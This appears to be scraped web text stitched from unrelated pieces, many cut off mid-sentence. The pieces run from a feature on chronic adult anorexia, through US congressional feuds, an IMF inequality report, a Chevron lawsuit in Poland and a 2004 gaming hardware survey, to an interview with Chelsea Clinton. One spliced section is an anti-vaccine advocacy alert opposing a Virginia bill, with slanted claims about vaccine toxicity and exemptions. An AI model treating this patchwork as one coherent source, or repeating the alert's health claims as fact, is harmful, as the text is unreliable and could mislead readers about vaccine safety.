The province has been under UN administration and Nato protection since then.Heather Purdin had run out of options. Aged 33, she had been suffering from anorexia nervosa for more than two decades and her weight had plummeted to that of a small child, an all-time low for her. Her case worker, out of frustration and desperation, suggested hospice care as a way to spend her remaining days in relative comfort. But for the first time in years, Heather was sure of one thing: she desperately wanted to live.
Treating anorexia, which is characterised by self-starvation and an inability to maintain an adequate body weight, seems absurdly simple on the surface: just eat and gain weight. It is something Heather and the millions of others afflicted by eating disorders have heard countless times. The problem is that it is never that simple. Heather has long since lost track of the number of times she has been admitted to hospital for low body weight, electrolyte imbalances caused by starvation or self-induced vomiting, or thoughts of suicide. In hospital she gains weight, but as soon as she is discharged she promptly returns to her old ways and loses what little weight she has gained. And so for more than 20 years, she has remained hopelessly, incurably, stuck.
Up to one in five people with chronic anorexia may die as a result of their illness, either owing to the direct effects of starvation and malnutrition or to suicide. This makes it the deadliest of all psychiatric disorders. Although scientists have made tremendous progress in decoding the underlying biology of eating disorders and in finding ways to intervene in cases of teenage anorexia before the disorder becomes chronic, this has not translated into effective treatments for adults.
A chance posting on Facebook last autumn, however, brought hope for the first time in years. In Ohio, there was an experimental five-day intensive programme to help adults with anorexia. What made this one different was that it used the latest neurobiology research to shape its goals as well as the way treatment was delivered. Since research confirms that most patients struggle to make changes to their entrenched behaviours on their own, patients also had to invite up to four support people to join them on the residential programme. Heather asked her father and her sister, and began raising the funds to fly them all to Ohio.
“I need this to work,” she said. “I have nothing else to try.”
Despite its reputation as a quintessentially modern disorder, anorexia is nothing new. The first medical report of the illness appeared in 1689, written by London physician Richard Morton, who described it as “a nervous consumption” caused by “sadness and anxious cares”.
Even as recently as the 1970s, anorexia remained something of a clinical oddity – a disease that doctors rarely saw, let alone had a clue how to treat. When psychologist Laura Hill saw her first anorexia patient at a university counselling centre back in 1979, she had never even heard of the disorder: “Her father was in the science department there and I had to ask him what anorexia was,” recalled Hill. “He told me she was unable to gain weight, afraid of food.”
Rates of anorexia had been steadily climbing since the 1950s, but it was not until the death of the singer Karen Carpenter in 1983 that the disorder became a household word. She died from heart failure resulting from anorexia nervosa, and all of a sudden newspaper stories and after-school TV specials began to feature teenage girls “dying to be thin”. Besides highlighting the spectacle of a healthy, attractive young girl’s determination to starve herself, the storylines usually focused on the family dysfunction that psychologists believed lay at the heart of the disorder. Parents were told not to be the food police, that anorexia was a misguided search for control. Only when they let their child be fully in control of their own life would the anorexia be resolved.
Psychiatrist Walter Kaye was not convinced. He had been asked to help finish an anorexia study for the US National Institutes of Health in the early 1980s, despite not having done research into eating disorders before. While talking with the participants, he noticed something unusual.
“I was just kind of struck by how homogenous the symptoms were,” he said. Because the patients seemed so similar in terms of symptoms and temperament, he believed there had to be something in their biology that was causing anorexia – and he dedicated himself to finding out what it was.
In the early 1980s, anorexia had been seen by the medical community as a deliberate decision by a petulant teenage girl: she was selfish, vain, wilful. Since she had chosen to become ill, she simply needed to choose to get better. She needed to become a fully formed individual, separate from her family, and had to rebel against the cultural ideal of thinness at all costs.
Research by Kaye and others, however, dismantled these preconceptions (not least that anorexia only affects girls) and completely changed how we think about the condition. Psychologist Laura Hill had to rethink her whole approach: “Many times, I want to call up all my old patients and apologise for getting so much backwards,” she said.
Hill began to keep a file full of notes about what she thought was causing anorexia, what her patients believed, what seemed to work and what did not. After a few years, she entered a PhD programme to better help her patients. But even with several research articles to her name and, ultimately, decades working at the forefront of treating and researching eating disorders, she realised that the treatment advances were not reaching adults with anorexia. She was not the only one. Across the field, psychologists, psychiatrists and dietitians have noted that positive treatment outcomes for adults with anorexia remain abysmally low. Less than half recover fully, another third show some improvement, but the rest remain chronically ill.
“They go for many years, and they’ve relapsed over and over again, and they have the highest risk of dying,” said Kaye. “I think all of us are feeling that this is a serious, often deadly disorder for these people, and we don’t have good approaches, and we don’t understand enough about the causes.”
For adolescents with anorexia, a ground-breaking treatment developed at the Maudsley Hospital in London in the 1980s called family-based treatment (FBT) has significantly improved short-term recovery outcomes. It puts parents temporarily in charge of making food and exercise decisions for their child and places a priority on normalising weight and eating habits. In a randomised clinical trial published in 2010, around half of teenagers treated with FBT met criteria for full recovery after a year, compared with 23% receiving standard treatment.
Nothing has been remotely that successful for adults with anorexia, and there is no easy explanation as to why. One reason may be that adults have simply been sicker for longer, believes Angela Guarda, director of the Eating Disorders Program at Johns Hopkins University: “The longer you have anorexia, the more anorexia creates physiological changes in the body and the brain that then create a self-sustaining cycle. You do it today because you did it yesterday, no longer because you decided to go on the Atkins diet when you were 15 or because you broke up with a boyfriend and you decided to lose weight. It’s no longer about that.”
Many people with anorexia don’t grasp that they are, in fact, sick. While parents generally sign their children into treatment, the power to do so vanishes when the child turns 18. Adult patients can also stop treatment if it gets too difficult – and it often does, because challenging the behaviours associated with eating disorders can create extreme anxiety. A long‑term, chronic eating disorder often ends up alienating friends and family – the very people who are needed to support the patient through the recovery process.
The longer anorexia lasts, the more the physiological changes in the body and brain create a self-sustaining cycle
Clinicians, like their patients, are desperate for something better, some way not |
conservative wing.
House Oversight Chairman Rep. Jason Chaffetz (R-Utah) later reversed course and put Meadows back on the committee. But Meadows, in an apparent bit of retaliation, went ahead with the resolution to remove Boehner from his post. He was cheered on by conservative groups, many of whom are not fans of Boehner, and who said they will plan to try to rally support for his ouster in the coming months.
"There's virtually no chance Meadows will succeed, but this will fire up the talk radio right wing, which already loathes Boehner," said Greg Valliere, the chief political strategist at Potomac Research Group, in an email. "The message to [Boehner] is clear: Yes, this may be a stunt, but be careful if you decide to compromise on budget issues this fall. "
Boehner's allies quickly rallied to his defense. Rep. Rich Nugent (R-Florida) said in a statement that Meadows was "just wrong" and accused him of "acting out." Rep. Devin Nunes (R-California) accused Meadows of a "gimmick" to gin up his lackluster fundraising.
For his part, Boehner also dismissed Meadows' challenge. He called him a lone ranger, "off the reservation." And when he was asked if he had spoken to Meadows, he said he hadn't.
"I have not," Boehner said. "Why?"
Translation: What's the point?
Republican presidential candidate Ted Cruz speaks at the Family Leadership Summit in Ames, Iowa. Thomson Reuters
'Flat out lie'
Republicans aren't getting along much better in Congress' other chamber.
What happened last Friday on the floor of the US Senate is what happens, one GOP strategist quipped, when you're getting outshone by Donald Trump on the presidential campaign trail.
At issue was a topic that will come up again in the fall: The renewal of the Export-Import Bank's charter, which expired at the end of June. The bank's future has divided the party for more than a year.
Sen. Ted Cruz, along with other populist conservative allies, say that the bank is representative of "crony capitalism," because its loans disproportionately benefit large companies. But some Republicans and most Democrats, including President Barack Obama, support reauthorizing the bank's charter.
Then, in a rare, rather extraordinary breach of the Senate's usual decorum, as Cruz lashed out at McConnell, accusing him of lying directly to Cruz's face about a procedural move that Cruz thought could resurrect the bank.
"I cannot believe that he would tell a flat-out lie," Cruz said.
"We now know that when the majority leader looks us in the eyes and makes an explicit commitment that he is willing to say things that he knows are false," he added.
McConnell, who opposes renewing the bank's charter, nevertheless allowed a vote on an amendment to a highway-funding bill that would resurrect it, incensing Cruz and other conservatives.
Some Republicans suspected Cruz had ulterior motives.
"Cruz also was hoping his fight with McConnell would be a poll and fundraising boost," said one GOP strategist. "I think Cruz wants to be seen as the conservative kingmaker, and Trump isn't taking his power away so much as his fundraising base."
The episode prompted a dressing down of Cruz and Sen. Mike Lee (R-Utah), Cruz's main ally in the Senate.
On Sunday, Cruz failed to get a required 11 votes to push an amendment into the highway bill. Two conservative-priority amendments for which Lee had been pushing also got smacked down. At the same time, McConnell got wind of an email sent by a Lee aide to conservative activists that told of using a planned show-vote on the Affordable Care Act as a political weapon. McConnell summoned his entire caucus to a closed-door meeting and placed a printed-out copy on each senator's chair.
Even though Lee backed off trying to force the Obamacare-related vote, he and Cruz arguably got the last word on the matter. The Senate passed the Ex-Im amendment. But McConnell, facing an end-of-week deadline, relented, and the Senate ultimately passed a House-spearheaded bill — without the Ex-Im amendment — to keep highway and construction projects funded for the next three months.
"To his credit, McConnell has tried to confront and strong-arm them at times, but he's losing credibility with Republicans as a result. No-win," one Democratic Senate aide told Business Insider.
AP
What happens next
When Congress returns from its August recess, it will face a series of hard deadlines and proverbial "cliffs":
Avoiding a shutdown (by the end of September)
Voting on the Iran nuclear deal (likely sometime in September)
Keeping highway and construction projects funded (by the end of October)
Raising the nation's debt ceiling (likely sometime in October or November)Story highlights Signs appear a week after an officer-involved shooting that killed Justine Ruszczyk
"Warning," they read, "Twin Cities Police easily startled"
(CNN) One week after an unarmed Minneapolis woman was killed in an officer-involved shooting, street signs criticizing "easily startled" police have popped up in the Twin Cities.
The orange traffic sign lookalikes depict a police officer jumping in the air, discharging a gun with each hand. "Warning," the signs read, "Twin Cities Police easily startled."
St. Paul Police Department spokesman Steve Linders confirmed there was at least one sign in St. Paul and another in Minneapolis. Linders didn't comment on any reaction from officers to the signs.
"We are aware of the signs and Minneapolis Public Works is removing them," Minneapolis Police Department spokeswoman Sgt. Catherine Michal said. "We have no further comment at this time."
The sign appeared about a week after Minneapolis police shot and killed Justine Ruszczyk, who had called 911 to report a possible assault. Minneapolis Police Chief Janeé Harteau stepped down six days later.
Read MoreIn light of how the International Monetary Fund has spent most of its existence parading around the world telling governments to make their economies more friendly for multinational corporations by suppressing wages, restricting pensions, liberalizing industries, and more or less advocating they ignore the popular will of workers and the less fortunate—all in the name of market capitalism and endless economic growth—a new report released by the IMF on Monday contains an ironic warning: stop doing all that.
"This reinforces Oxfam’s call on how we need to reduce the income gap between the haves and have-nots, and scrutinize why the richest 10% and top 1% have so much wealth. By releasing this report, the IMF has shown that 'trickle-down' economics is dead; you cannot rely on the spoils of the extremely wealthy to benefit the rest of us."
—Nicolas Mombrial, Oxfam InternationalThough it perpetuates the idea that economic growth is the master to whom all should bow, the new research—conducted by the IMF's own economists and submitted under the title Causes and Consequences of Inequality (pdf)—argues that many of the policies promoted by the IMF have actually harmed nations by exacerbating widespread economic inequality. As many have noted, current disparities between the world's richest and poorest represent a nearly unprecedented level of global inequality which the report described as the "defining challenge of our time."
In order to strengthen economies, the report declares, nations should admit that "trickle-down" theories of wealth and prosperity do not work. In lieu of those, the study recommends raising wages and living standards for the bottom 20 percent, installing more progressive tax structures, improving worker protections, and instituting policies specifically designed to bolster the middle class.
"Fighting inequality is not just an issue of fairness but an economic necessity," said Nicolas Mombrial of Oxfam International in response to the report. "And that’s not Oxfam speaking, but the International Monetary Fund."
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This is not the first time the IMF's own research has bolstered the arguments of its biggest critics. According to the International Business Times, the new analysis on inequality "echoes previous IMF research that show that redistributive policies have a positive effect on countries’ economic output."
But as the Guardian's economics editor Larry Elliott notes, the new paper creates obvious "tension between the IMF’s economic analysis and the more hardline policy advice" it continually gives to countries seeking foreign assistance or development funds. With Greece as the most obvious example, Elliott cites details from the report and writes:
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During its negotiations with Athens, the IMF has been seeking to weaken workers’ rights, but the research paper found that the easing of labor market regulations was associated with greater inequality and a boost to the incomes of the richest 10%. “This result is consistent with forthcoming IMF work, which finds the weakening of unions is associated with a higher top 10% income share for a smaller sample of advanced economies,” said the study. “Indeed, empirical estimations using more detailed data for Organization for Economic Cooperation and Development countries [34 of the world’s richest nations] suggest that, in line with other forthcoming IMF work, more lax hiring and firing regulations, lower minimum wages relative to the median wage, and less prevalent collective bargaining and trade unions are associated with higher market inequality.” The study said there was growing evidence to suggest that rising influence of the rich and stagnant incomes of the poor and middle classes caused financial crises, hurting both short- and long-term growth.
No one should be fooled into thinking that the new research aims to alter the IMF's central commitment to advancing the financial interests of the global elite.
In fact, part of the argument presented in the paper is that such enormous levels of global economic inequality could seriously undermine the institution's public defense of capitalism's overall supremacy. "For example," the paper states, "[too much inequality] can lead to a backlash against growth-enhancing economic liberalization and fuel protectionist pressures against globalization and market-oriented reforms."
According to a recent report by Oxfam International, almost half the world’s wealth is owned by one percent of the population, while the bottom half of the world’s population owns the same wealth as the richest 85 people in the world. For Oxfam's Mombrial, who heads the international anti-poverty group's office in Washington D.C., the IMF's report is a welcome development that should put a nail in the coffin of the austerity-driven policies prescribed by governments and powerful financial institutions like the IMF, World Bank, and others.
"The IMF proves that making the rich richer does not work for growth, while focusing on the poor and the middle class does," Mombrial said. "This reinforces Oxfam’s call on how we need to reduce the income gap between the haves and have-nots, and scrutinize why the richest 10 percent and top 1 percent have so much wealth. By releasing this report, the IMF has shown that 'trickle-down' economics is dead; you cannot rely on the spoils of the extremely wealthy to benefit the rest of us. Governments must urgently refocus their policies to close the gap between the richest and the rest if economies and societies are to grow."
As Oxfam and other international campaigners have been saying it for decades, he concluded, "The IMF has set off the alarm for governments to wake up and start actively closing the inequality gap, not just between the rich and poor, but for the middle class too. Their message to them is pretty clear: if you want growth, you'd better invest in the poor, invest in essential services and promote redistributive tax policies."A Chevron gas station sign is pictured at one of their retain gas stations in Cardiff, California October 9, 2013. REUTERS/Mike Blake
WARSAW (Reuters) - U.S. energy major Chevron (CVX.N) said it had filed a civil lawsuit against protesters in Poland who have prevented it from reaching a site where it plans to explore for shale gas.
Local people occupied the site near the village of Zurawlow, about 260 km (160 miles) southeast of the Polish capital, when contractors started trying to erect a fence.
Chevron said it filed the action on the grounds that the protesters were violating its lawful right of access to the site, one of four shale gas exploration concessions the company has in Poland.
“While we respect the rights of individuals to express their opinions, it should be done within the law. We believe that the views expressed by a small group of people do not reflect views of the majority of residents”, in the region around the site, Chevron said in a statement.
The protesters say Chevron has not adequately consulted with local residents and that its drilling will damage the environment.
The oil major has responded that it is committed to operating in a safe and responsible way and is bringing benefits to communities where it operates.
In neighboring Romania, Chevron had to suspend work at another planned shale gas exploration well after local people blocked the site.SURVEY RESULTS
This page last updated: 6:44pm PST (02:44 GMT), May 03 2004
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Below 200 Mhz 180 0.02 % >=200 Mhz to <300; Mhz 1,049 0.11 % 300 Mhz to 400 Mhz 4,540 0.47 % 400 Mhz to 500 Mhz 11,188 1.17 % 500 Mhz to 600 Mhz 13,329 1.39 % 600 Mhz to 700 Mhz 12,698 1.33 % 700 Mhz to 800 Mhz 23,905 2.50 % 800 Mhz to 900 Mhz 26,122 2.73 % 900 Mhz to 1 Ghz 27,579 2.88 % 1 Ghz to 1.1 Ghz 29,339 3.07 % 1.1 Ghz to 1.2 Ghz 21,363 2.23 % 1.2 Ghz to 1.3 Ghz 29,244 3.06 % 1.3 Ghz to 1.4 Ghz 31,561 3.30 % 1.4 Ghz to 1.5 Ghz 49,111 5.13 % 1.5 Ghz to 1.7 Ghz 133,351 13.94 % 1.7 Ghz to 2.0 Ghz 175,206 18.31 % 2.0 Ghz to 2.3 Ghz 131,662 13.76 % 2.3 Ghz to 2.7 Ghz 159,192 16.64 % 2.7 Ghz to 3.0 Ghz 50,371 5.26 % 3.0 Ghz to 3.3 Ghz 24,212 2.53 % 3.3 Ghz to 3.7 Ghz 1,612 0.17 % Above 3.7 Ghz 86 0.01 %
Video Card Driver Name
nv4_disp.dll 525,208 54.89 % ati2dvag.dll 231,005 24.14 % NVDD32.DLL 58,789 6.14 % ialmrnt5.dll 27,075 2.83 % nv4.dll 14,121 1.48 % Unspecified 12,647 1.32 % SiSGRV.dll 10,926 1.14 % s3gnb.dll 7,923 0.83 % i81xdnt5.dll 7,215 0.75 % i81xDD.DLL 5,082 0.53 % vga.dll 4,334 0.45 % ati2dvaa.dll 3,864 0.40 % ati3d2ag.dll 3,083 0.32 % SiS300iv.dll 2,441 0.26 % ati3duag.dll 2,213 0.23 % ati3d1ag.dll 2,204 0.23 % 3dfxvs.dll 2,047 0.21 % pmxdisp.dll 1,823 0.19 % dd630_32.dll 1,771 0.19 % ati2draa.dll 1,716 0.18 % Other 31,413 3.28 %
Video Card Description
NVidia GeForce4 MX Series 147,398 15.40 % NVidia GeForce4 Series 117,106 12.24 % NVidia GeForce2 MX Series 104,682 10.94 % NVidia GeForce FX 5200 Series 67,361 7.04 % ATI Radeon 9600 Series 58,022 6.06 % ATI Radeon 9800 Series 46,770 4.89 % ATI Radeon 9500/9700 Series 35,959 3.76 % NVidia GeForce FX 5600 Series 35,792 3.74 % NVidia GeForce3 Series 35,560 3.72 % ATI Radeon 9200 Series 29,774 3.11 % NVidia TNT2 Series 26,741 2.79 % Unknown 24,970 2.61 % NVidia GeForce2 Series 24,557 2.57 % Intel 845 21,665 2.26 % ATI Radeon 9000 Series 17,525 1.83 % SiS 650/651/M650/740 10,514 1.10 % Intel 810 9,701 1.01 % ATI Radeon 8500 Series 9,570 1.00 % ATI Radeon 7000 Series 8,664 0.91 % S3 Graphics ProSavageDDR 7,618 0.80 % ATI Radeon 7500 Series 7,291 0.76 % NVidia GeForce FX 5700 Series 7,219 0.75 % NVidia GeForce FX 5900 5,270 0.55 % NVidia GeForce FX 5900 Series 4,883 0.51 % SiS 300/305/630/540/730 4,843 0.51 % ATI Mobility Radeon 8500/9000/9200 4,695 0.49 % NVidia TNT Series 4,396 0.46 % ATI Mobility Radeon 7500 4,131 0.43 % ATI Radeon 7200 Series 4,124 0.43 % ATI Radeon 9100 4,004 0.42 % NVidia GeForce2 Integrated GPU 3,438 0.36 % NVidia GeForce Series 3,395 0.35 % ATI Radeon IGP 340M 2,886 0.30 % 3Dfx Voodoo 3 2,872 0.30 % Intel 815 2,645 0.28 % ATI Rage 128 Pro 2,442 0.26 % PowerVR KYRO/KYRO II 32MB/64MB 2,340 0.24 % Intel 852/855 2,283 0.24 % ATI Mobility Radeon 2,249 0.24 % ATI Rage Fury MAXX 2,248 0.23 % ATI Rage 128 1,959 0.20 % NVidia GeForce FX 5950 Series 1,880 0.20 % ATI Rage Pro AGP 2X 1,864 0.19 % NVidia GeForce4 420 Go 1,820 0.19 % ATI Radeon IGP 320M 1,815 0.19 % ATI Mobility Radeon 9600/9650/9700 Series 1,663 0.17 % Trident Video Accelerator Blade 3D/ProMedia 1,583 0.17 % S3 Graphics Inc. ProSavage 1,456 0.15 % Matrox Millennium G400/G450 Series 1,258 0.13 % NVidia GeForce2 Go 1,225 0.13 % NVidia GeForce FX Go5200 1,172 0.12 % NVidia GeForce4 440 Go 1,122 0.12 % S3 Graphics Inc. Savage4 1,112 0.12 % NVidia GeForce FX Go5600 1,092 0.11 % NVidia GeForce FX 5800 Series 1,016 0.11 % Other 17,261 1.80 %
Windows Version
XP SP 1 (Build 2600) 538,960 56.32 % XP (Build 2600) 231,572 24.20 % 98 SE 60,008 6.27 % 2000 SP 4 (Build 2195) 53,180 5.56 % Me 31,255 3.27 % 2000 SP 3 (Build 2195) 8,238 0.86 % 2000 (Build 2195) 7,908 0.83 % 98 7,248 0.76 % XP Dodatek SP. 1 (Build 2600) 4,938 0.52 % 2000 SP 2 (Build 2195) 4,845 0.51 % XP Szervizcsomag 1 (Build 2600) 2,328 0.24 % (Build 3790) 2,260 0.24 % XP SP 2, v.2096 (Build 2600) 944 0.10 % 2000 SP 1 (Build 2195) 902 0.09 % XP SP 2, v.2055 (Build 2600) 489 0.05 % 95 432 0.05 % XP SP 2, v.2082 (Build 2600) 425 0.04 % XP SP 2 (Build 2600) 190 0.02 % NT version 4.0 SP 5 (Build 1381) 137 0.01 % XP SP 1, v.1151 (Build 2600) 94 0.01 % Other 547 0.06 %
Processor Vendor
AuthenticAMD 441,400 46.13 % cAMD 1 0.00 % CentaurHauls 305 0.03 % ConnectixCPU 11 0.00 % CyrixInstead 60 0.01 % GenuineIntel 515,099 53.83 % GenuineTMx86 23 0.00 % ntel 2 0.00 % 2 0.00 %
Processor Count
Unspecified 2 0.00 % 1 cpu 955,216 99.82 % 2 cpus 1,680 0.18 % 4 cpus 6 0.00 %
Game Screen Width
Unspecified 202,426 21.15 % 9 pixels 1 0.00 % 15 pixels 1 0.00 % 96 pixels 1 0.00 % 140 pixels 1 0.00 % 320 pixels 22,587 2.36 % 400 pixels 32,545 3.40 % 480 pixels 733 0.08 % 500 pixels 1 0.00 % 512 pixels 953 0.10 % 600 pixels 2 0.00 % 640 pixels 146,076 15.27 % 647 pixels 1 0.00 % 720 pixels 1,240 0.13 % 768 pixels 7 0.00 % 800 pixels 183,500 19.18 % 832 pixels 40 0.00 % 848 pixels 3 0.00 % 864 pixels 5 0.00 % 960 pixels 503 0.05 % 1,000 pixels 1 0.00 % 1,017 pixels 1 0.00 % 1,024 pixels 276,343 28.88 % 1,029 pixels 1 0.00 % 1,088 pixels 126 0.01 % 1,104 pixels 1 0.00 % 1,152 pixels 27,410 2.86 % 1,200 pixels 12 0.00 % 1,248 pixels 2 0.00 % 1,280 pixels 50,487 5.28 % 1,360 pixels 11 0.00 % 1,400 pixels 349 0.04 % 1,440 pixels 86 0.01 % 1,520 pixels 4 0.00 % 1,600 pixels 10,855 1.13 % 1,680 pixels 110 0.01 % 1,792 pixels 40 0.00 % 1,800 pixels 28 0.00 % 1,856 pixels 8 0.00 % 1,920 pixels 238 0.02 % 2,048 pixels 79 0.01 %
Game Screen Depth
Unspecified 201,627 21.07 % 3 bpp 1 0.00 % 8 bpp 1 0.00 % 10 bpp 5 0.00 % 12 bpp 1 0.00 % 16 bpp 579,195 60.53 % 24 bpp 1 0.00 % 32 bpp 176,071 18.40 % 36 bpp 1 0.00 % 50 bpp 1 0.00 % 127 bpp 1 0.00 %
Game Renderer
Unknown 201,668 21.08 % Software 17,207 1.80 % OpenGL 441,287 46.12 % Direct3D 248,106 25.93 %
Language
English 842,567 88.05 % French 43,432 4.54 % German 19,340 2.02 % Spanish 16,613 1.74 % Korean (Adult) 10,768 1.13 % Traditional Chinese 9,388 0.98 % Korean (Teen) 6,467 0.68 % Simplified Chinese 6,245 0.65 % Italian 2,083 0.22 % Unknown 1 0.00 % Unknown 1 0.00 %Text Size:
Forced Vaccination Bill in VA Moving Fast
"If the state can tag, track down and force individuals to be injected with biologicals of known and unknown toxicity today, then there will be no limit on which individual freedoms the state can take away in the name of the greater good tomorrow."
- Barbara Loe Fisher
Jan 28th Update: NVIC thanks the many Virginians who contacted their legislators in response to this call to action. During the committee hearing today, the bill sponsors requested that the bill be stricken from the 2016 legislative session. If you are a resident of Virginia, go to NVIC's Advocacy Portal and register to stay up to date on any new developments on this bill, including whether it will be referred to another committee or a commission for study before being reintroduced. If you have not yet contacted your legislators in Virginia, please continue your efforts to contact them and educate them. Ask them to oppose any attempted amendment to any bill that restricts or eliminates vaccine exemptions.
Jan 27th Breaking News: A public hearing on this bill (HB1342) has been just scheduled by the House Health, Welfare and Institutions Committee (Subcommittee #2) for tomorrow, Jan. 28, 2016 at 8:30 a.m. to about noon in the State Capitol General Assembly Building, Room D, 1000 Bank St (entrance North 9th St. and East Broad St. – first floor), Richmond, VA. Public testimony (3 minutes) is allowed.
The most oppressive forced vaccination bill introduced in any state is being sponsored by an attorney and co-sponsored by an obstetrician for the purpose of eliminating the religious belief vaccine exemption for all children attending daycare and schools in the state, including homeschooled children. The bill (HB1342) would additionally prohibit state licensed doctors and nurse practitioners from exercising professional judgment and delaying administration of or granting a child a medical exemption that does not conform with narrow federal vaccine contraindication guidelines.
31 Doses of 12 Federally Recommended Vaccines, No Exemptions
Current Virginia law requires minor children attending public or private day care centers or schools, as well as homeschooled children, to receive up to 31 doses of 12 federally recommended vaccines administered according to the CDC childhood vaccine schedule unless parents submit (1) a statement from a state licensed physician or nurse practitioner that one or more required vaccines would be detrimental to the health of the child or (2) a signed affidavit from the parent that one or more of the required vaccines conflicts with religious tenets or practices.
In order to grant a child a medical vaccine exemption, HB1342 would force doctors and nurse practitioners to adhere to narrow federal vaccine contraindications that exclude 99.99 percent of children from vaccine exemptions, and it would force parents to violate their conscience by denying a religious belief vaccine exemption, including in cases where a child has already suffered a vaccine reaction, has been disabled or has a sibling who has been injured or died after being vaccinated.
Only 1 percent of VA Children Have Vaccine Exemptions Now
The Bill of Rights of the Virginia Constitution, as well the Virginia 1786 Act for Religious Freedom, the Virginia 2007 Religious Freedom Act and the Virginia 2013 Parental Rights Act contain strong language protecting the exercise of freedom of conscience, religious beliefs and parental rights. According to the CDC, Virginia ranks in the top third of states with high kindergarten vaccination rates for DTaP, MMR and varicella zoster shots and only 1.1% of children have medical or religious vaccine exemptions.
Bill Could Become Law Within Six Weeks
The bill was introduced on Jan. 21 and was immediately referred to the Health, Welfare and Institutions Committee. It could become law within six weeks. If you are a Virginia resident and want to protect vaccine exemptions, immediately go to the NVIC Advocacy Portal and become a registered Portal user and read the full Virginia Action Alert on HB1342, and find out how to take action today. You will also be able to stay up to date on the bill’s status and what you can do each step of the way. The Portal will put you in immediate electronic contact with your own Virginia state legislators and the Governor so you can make your voice heard.
Read and download a referenced NVIC Briefing Paper on Virginia HB 1342.Project FeederWatch is a joint American and Canadian project run by the Cornell University Ornithology Laboratory and Bird Studies Canada. Its goal is to enlist the help of people who keep backyard feeders throughout the U.S. and Canada to count the visitors to their feeders each winter. Go online to www.feederwatch.org
Now that the holiday frenzy is over and we are into the depths of whatever Mother Nature brings us for a winter, it’s a perfect time for winter walks and a little bird watching.
We have dozens of birds that call the area home all through the year. Purple finch, goldfinch, quail, nuthatches, flickers and chickadees to name a few. But every year the mix of visitors to our feeders changes.
If there is a lot of snow in the mountains, we sometimes see birds down here in the lowlands that are more at home in higher elevations. Other years when the weather is mild, a few coastal dwellers venture over the mountains earlier than normal.
While these changes in populations are a curiosity to us, they are a critical key in the puzzle about how songbird populations shift territory and numbers over time as the climate changes. Shifts in bird populations can be an indicator of how the plants they rely on are also changing.
Ornithologists and climate scientists can’t be everywhere recording the changes, however. That is where you come in. As readers of this column, you are everywhere in the Inland Northwest and can easily observe who is coming to and going from your feeders.
Project FeederWatch is a joint American and Canadian project run by the Cornell University Ornithology Laboratory and Bird Studies Canada. Its goal is to enlist the help of people who keep backyard feeders throughout the U.S. and Canada to count the visitors to their feeders each winter.
The scientists then use the information to map changing migration patterns and the bird population strength. In a sense, you become a citizen scientist in the ornithology community. This year, their counting season is Nov. 13 through April 8.
Project FeederWatch doesn’t require a huge time commitment or an existing knowledge of the birds in your area. When you join the program, you receive materials that will help you identify the birds you see and information about how to record and submit your observations to the scientists at the Cornell Lab.
You can take counts as often as once a week on a schedule that fits your life. There are special observation days through the counting season to add to the fun. This is a great project not only for individuals but for school classes, clubs and youth groups. It’s a great way to teach scientific observation skills, natural history and something about a scientific field a lot of kids never hear about.
You can join Project FeederWatch by going to www.feederwatch.org and selecting the American option. If you are in Canada, you need to select the Canadian option. There is a $15 fee to cover materials and support the program.
There aren’t too many people in the Inland Northwest registered, so let’s increase that number. Have fun!Titanium Backup (root) for Android Want to help translating
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Features of the Free version :
No ads, no time limit
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Sort apps by name / last backup / backup frequency
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Additional features of the PRO/Donate version :
Multiple backups |
a significant opportunity for broadcasters, advertisers and our other partners," Justin Osofsky, director, platform partnerships and operations at Facebook, said in a blog post. A recent episode of the Game of Thrones series on HBO generated 1.5 million mentions on Facebook, he said.
Until now, however, Facebook said in a separate blog post, its service lacked a "simple way to see the larger view of what's happening or what people are talking about."
Whether conversations about events on Facebook will have the same level of activity and comments as on Twitter is not clear. Unlike tweets, which are public and viewable to all users, most comments posted on Facebook are only viewable to a user's circle of friends.
The company said that hashtags were the first of several new features that will be introduced to highlight discussions about events on Facebook.
The company is rolling out hashtags to roughly 20 per cent of its users, with a full global launch expected in the coming weeks.
Although Facebook's own users have been using hashtags for some time, often as an addition to comments and status updates, they will now be able to click on the hashtagged words as a search term and view a feed of discussions relating to that topic.
The search bar at the top of the Facebook homepage will also allow users to look for hashtags, and hashtags on Facebook will also tie in to those from other services such as Instagram, Tumblr, Pinterest and Twitter.
Facebook's Greg Lindley wrote that "Every day, hundreds of millions of people use Facebook to share their thoughts on big moments happening all around them. Whether it’s talking about a favorite television show, cheering on a hometown sports team or engaging with friends during a breaking news event—people on Facebook connect with their friends about what’s taking place all over the world. To date, there has not been a simple way to see the larger view of what's happening or what people are talking about. To bring these conversations more to the forefront, we will be rolling out a series of features that surface some of the interesting discussions people are having about public events, people, and topics. As a first step, we are beginning to roll out hashtags on Facebook."
Analysts oberserved that Facebook's new move effectively piggy-backed on the success of existing Twitter marketing campaigns, with even the recent Eurovision Song Contest using a hashtag theme for its backstage coverage.With the election less than two months away, Hillary Clinton and Donald Trump just faced off in the most-watched presidential debate in American history. The importance of the debate for both candidates cannot be understated: Clinton's performance was seen as pivotal in widening the single-digit lead she had over Trump, and Trump had the chance to narrow, if not close, that polling gap, while showing voters that he has what it takes to be president. On the morning after the first presidential debate, in honor of National Voter Registration Day, Chelsea Clinton sat down with Cosmopolitan.com to talk about the debate, why you need to vote, her mother's decision to keep her recent illness from constituents, and more.
After the debate, Donald Trump said he was "proud" that he didn’t mention your father’s infidelity out of respect for you. What was your reaction to that?
Well, my reaction to that is just what my reaction has been kind of every time Trump has gone after my mom or my family, which is that it’s a distraction from his inability to talk about what’s actually at stake in this election and to offer concrete, comprehensive proposals about the economy, or our public school system, or debt-free college, or keeping our country safe and Americans safe here at home and around the world.
And candidly, I don’t remember a time in my life when my parents and my family weren’t being attacked, and so it just sort of seems to be in that tradition, unfortunately. And what I find most troubling by far are Trump’s — and we talked about this when you interviewed me the night before the Iowa caucus — are Trump’s continued, relentless attacks on whole swaths of our country and even our global community: women, Muslims, Americans with disabilities, a Gold Star family. I mean, that, to me, is far more troubling than whatever his most recent screed against my mom or my family [is].
One of your mom's biggest hurdles with younger voters is gaining their trust. Why do you think she did not tell voters sooner that she had pneumonia?
Well, I didn’t know that she had pneumonia. I didn’t know she had pneumonia until she came over to my apartment. So I don’t think it was a conscious choice. I mean, she didn’t even tell me. I think she just expected she would power through it as she has always powered through everything. As her daughter, I wish she would have listened to her doctor and taken a couple days off when her doctor told her she needed to get some rest, and I’m grateful she did finally listen to her doctor and she took a couple days off. And I think it was clear last night that she is — you know, she certainly looks healthier at her age than I feel at 36 at this moment. I loved her answer about stamina, and yes, I think when anyone has traveled to 112 countries and a million miles, and sat through 11 hours of congressional hearings all in one day, they can then kind of have that conversation with my mom. But until then, I think that she wins that argument any and every day.
